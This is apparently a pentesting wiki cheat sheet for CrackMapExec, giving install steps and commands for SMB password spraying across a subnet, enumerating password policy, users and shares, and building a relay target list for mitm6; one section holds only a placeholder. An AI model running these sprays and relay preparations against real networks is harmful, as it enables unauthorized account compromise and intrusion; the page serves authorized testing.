> For the complete documentation index, see [llms.txt](https://wiki.smhuda.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.smhuda.com/pentesting/infrastructure-security/network-infrastructure/crackmapexec.md).

# CrackMapExec

## Install

```
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.8 python3.8-dev python3.8-venv
python3.8 -m venv python3.8-venv
source python3.8-venv/bin/activate
pip install --upgrade pip
pip3 install crackmapexec 
```

## Usage:

### Password spray without threshold:

```
// Some code
```

### Password Spray (with global limit of 5 failed attempts as threshold)

```
crackmapexec smb 172.16.13.0/24 -u 'evilcorp\bob' -p 'Password123!' --gfail-limit 5
```

{% code overflow="wrap" %}

```
crackmapexec smb 172.16.2.1 -u 'evilcorp\bob' -p 'Password123!' --pass-pol

crackmapexec smb 172.16.2.1 -u 'evilcorp\bob' -p 'Password123!' --users

crackmapexec smb 172.16.2.1 -u 'evilcorp\bob' -p 'Password123!' --shares
```

{% endcode %}

### Relay List to use with *mitm6*

```
crackmapexec smb 172.16.13.0/24 --gen-relay-list relay-hosts.txt
```